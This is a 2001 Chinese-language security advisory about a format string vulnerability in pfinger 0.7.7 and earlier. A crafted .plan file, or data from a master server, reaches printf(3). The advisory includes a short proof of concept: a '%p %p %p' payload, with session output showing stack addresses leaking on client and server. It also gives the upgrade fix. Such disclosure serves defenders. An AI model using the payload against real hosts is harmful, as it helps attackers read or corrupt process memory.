xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
English Version

pfinger 存在格式字符串漏洞


发布时间:2001-12-21
更新时间:2001-12-21
严重程度:
威胁程度:本地管理员权限
错误类型:输入验证错误
利用方式:服务器模式

受影响系统
pfinger <= 0.7.7
详细描述
使用'./plan'文件可以导致服务器端和客户端产生格式字符串漏洞。

客户端使用精心构建的'./plan'文件会被pfinger客户端传递给printf(3)函数,
而造成格式字符串漏洞。

如果服务器被配置成连接到主服务器(使用<sitehost>指示),从主服务器接收到
的数据会作为第一参数传递给printf(3)函数中。如果恶意用户构建特殊数据可
造成字符格式化漏洞。

测试代码
Client side :


evil@test:~$ cat ~/.plan
Now a little format string: %p %p %p :-)
evil@test:~$


good@test:~$ finger -l evil
Login Name: evil In real life: Evil
Login Name Status Login time Host
evil Evil active Mon 08:02 test
No mail.
Plan:
Now a little format string: 0x8049da0 0x640 0x400a252d :-)
good@test:~$



Server side :


good@test:~$ cat /etc/fingerconf
<fingerconf>
<sitehost>master</sitehost>
</fingerconf>


evil@master:~$ cat ~/.plan
Now a little format string: %p %p %p :-)
evil@master:~$ telnet test 79
Trying x.x.x.x...
Connected to test.lab.intexxia.com.
Escape character is '^]'.
/W evil
Login Name: evil In real life: Evil
Login Name Status Login time Host
evil Evil active Mon 08:02 master
No mail.
Plan:
Now a little format string: 0xbfbff860 0x400 0x0 :-)
Connection closed by foreign host.
evil@master:~$

解决方案
升级到0.7.8版本:

http://www.xelia.ch/unix/pfinger/

相关信息
CERT intexxia cert@intexxia.com
参考:http://archives.neohapsis.com/archives/bugtraq/2001-12/0224.html